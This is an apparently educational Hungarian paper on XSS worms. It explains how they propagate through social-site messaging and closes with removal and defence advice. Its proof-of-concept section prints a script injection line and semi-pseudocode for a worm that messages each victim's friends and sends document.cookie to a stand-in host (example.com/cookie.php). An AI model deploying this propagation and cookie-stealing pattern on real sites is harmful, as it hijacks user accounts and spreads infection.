XSS férgek és vírusok

1. Bevezetés: XSS
2. Bevezetés: féreg és vírus különbség
3. Felhasználhatóság
4. Fertőzés, terjeszkedés
5. Proof of Concept
6. Eltávolítás és Védekezés

1. Bevezetés: XSS

Ez a paper megpróbálja bemutatni az XSS-re épülő férgeket, és vírusokat. A leírás megértéséhez szükséges némi XSS alapismeret, így ajánlanám az olvasó figyelmébe az előző XSS-ről szóló írásom.
Ennek ellenére röviden: XSS avagy Cross Site Scripting, egy injection fajta. Támadható weboldalba ártalmas kódot szúrhatunk, amivel aztán különböző technikákat hajthatunk végre. XSS-eknek két jól elkülöníthető fajtája van, a perzisztens, és a non-perzisztens. Mind a kettő alkalmas a férgek/vírusok terjesztésére, viszont a jobb szemléltethetőség kedvéért a perzisztens hibákkal fogunk elméletben foglalkozni. Perzisztens XSS, ha a szolgáltató tárolja egy hibából fakadóan az ártalmas kódot, Non-perzisztens, amikor a szolgáltató nem tárolja a kódot, csak közvetít a fertőző és a fertőzött között.

2. Bevezetés féreg és vírus különbség

Régi probléma, hogy a nagy átlag nem ismeri a különbséget a féreg és a vírusok között. Pedig nem véletlenül van különböző neve a dolognak.

Vírus: olyan programkódok, amik felhasználói segítséggel terjednek, más programokat fertőznek meg. A fertőzött program más programokat fertőz meg és így tovább.

Féreg: önmagától terjed, nem feltétlen szükséges hozzá emberi beavatkozás.

Javascript, HTML és egyéb nyelveknek köszönhetően, mára már a web is kinőtte annyira magát, hogy ezeket az említett funkciókat elláthassa. Mind férgeket, vírusokat de akár trójaikat is írhatunk a webre, csak egy hibás alkalmazás kell hozzá.

3. Felhasználhatóság

Tekintsünk át egy kicsit a másik (remélhetőleg a rossz) oldalra. Szeretnénk egy jól működő szociális oldal felhasználóinak védett adatait megszerezni, vagy éppen a gépükre telepíteni valamilyen ártalmas kódot (pl. bináris trójait, botnethez klienst). Keresünk egy perzisztens XSS-t a szolgáltatás oldalán, erre a környezetre írunk egy kódot, amit injektálva az oldalba a hibán keresztül, bárki megnézve/lefuttatva tovább terjeszti azt. A futtatás következménye hogy a kód bármit tehet a gépünkkel, ellophatja a cookie-ainkat, így bárki használni tudja a webszolgáltatást a fertőzött jogaival, vagy éppen egy böngésző vagy böngésző-plugin exploitot használva átveheti az uralmat a fertőzött gép felett, így kihasználhatja az erőforrásait (pl. botnetbe kötés).

4. Fertőzés, terjeszkedés

Egy XSS vírus/féreg (továbbiakban csak féreg az egyszerűség kedvéért annak ellenére, hogy tisztában vagyunk a különbségekkel), a böngészőkön át terjed. A terjedéshez nem a böngészők hiányosságait illetve hibáit használja ki, hanem a webszolgáltatásokét.

A férgek két részből állnak, a propagáló kódból, és a payloadból.
A propagáló kód, az a rész, ami segítségével terjednek, viszik át magukat és a payloadot a következő fertőzöttre.
A payload pedig a hasznos teher, ami a tényleges kódot tartalmazza, amivel a fertőzött félnek árthatunk.

A férgek nem a felhasználókat fertőzik meg alapjáraton, hanem a webszolgáltatást, vagy annak egy részét. A felhasználók a fertőzött szolgáltatást megtekintve, segítenek a további fertőzésben, új lapok, al-lapok fertőzését teszik lehetővé.

Pl. egy szociális hálózatra hajazó weboldalon biztos, hogy találunk üzenetküldést. Ha ez a funkció sebezhető, akkor az üzenetet megkapó felhasználó böngészője felett átvehetjük az uralmat. Lekérdezhetjük az összes ismerősét, azoknak elküldhetjük az által megkapott üzenetet, amit ha megnéznek, akkor velük is ugyanez játszódhat le. Ez a fertőzés folyamata, a propagáló kód feladata.
A payload a fertőzés után rögtön megint csak a böngészőben fut le. Lehet egy szimpla visszacsatolás a kód írójához, pl. a webszolgáltatáshoz tartozó felhasználói cookie elküldése, így a privilégiumok megszerzése nagyipari módszerként, vagy egy exploit futtatása egy jól vagy kevésbé jól ismert activex plugin ellen, és máris a böngészőn kívül az egész gép a támadó kezében van, mint tiszta erőforrás.

5. Proof of Concept

Avagy bizonyíték a létezésre. Előző hónapokban egy versenyt írtak ki XSS férgek szaporításának megvalósítására, a győztes a legkisebb méretű lett. Nem a payload volt a lényeg, hanem a szaporítás mikéntje. A verseny mutatja, hogy rendkívül sokféleképpen lehet megírni a propagáló kódot.

Egy fél-pszeudó javascript XSS worm implementáció, kisebb átalakítással, tökéletesen működhet:

Fertőző sor:

```
<script type="text/javascript" src="http://example.com/worm.js"></script>
```

worm.js

```
function ismeros_kereses()
{
	iframe_letrehozas;
	iframe_neve.feldolgozas;  // ID-k kinyerése

	return id_tomb;
}
function uzenet_kuldes(id)
{
	iframe_letrehozas;
	form_letrehozas;
	form_neve.inicializalas();  // ID, üzenet, method, action beállítás
	form_neve.submit();         // ID-nek elküldi az üzenetet, aminek a tartalma a fertőző kód:
                                    //  <script type="text/javascript" src="worm.js"></script>
}
function cookie_lopas()
{
	iframe_lerehozas;
	iframe_neve.src='http://example.com/cookie.php?cookie='+document.cookie;
}
function fertozz()
{
	i = 0;
	ids = ismeros_kereses();
	while(ids[i])
	{
			uzenet_kuldes(ids[i++]);
	}
	cookie_lopas();
}
document.onload = fertozz;
```

A fertőző kódot elsőként elküldve, szabadjára engedve megkezdődik a fertőzés. Az áldozat megnézi az üzeneteit, lefuttatja a megadott worm.js-t, ami elősször lekérdezi az ismerőseit, majd üzenetet küld nekik, aminek a tartalma a fertőző kód. Végül a payload is lefut, ami a cookie_lopas() függvény, vagyis elküldi a támadónak az üzenetet megnéző áldozat cookie-jait.

6. Eltávolítás és Védekezés

Mint írtam a fertőzés nem érinti a felhasználó gépét, a böngésző, csak terjeszteni segít a férget, így eltávolítani csak a webszolgáltatásról kell, ez pedig a szolgáltató dolga. Perzisztens XSS-eket pedig csak az adatbázisokból kell törölni, majd a fertőzéshez használt sebezhetőséget kijavítani. (Bővebben XSS white paper-ömben).
Felhasználók védekezni a fertőzés segítése ellen, böngésző kiegészítőkkel tudnak, pl Firefox-hoz NoScript extension, vagy szimplán kikapcsoljuk a javascriptet.

Bucsay Balázs – http://www.rycon.hu – earthquake[at]rycon[dot]hu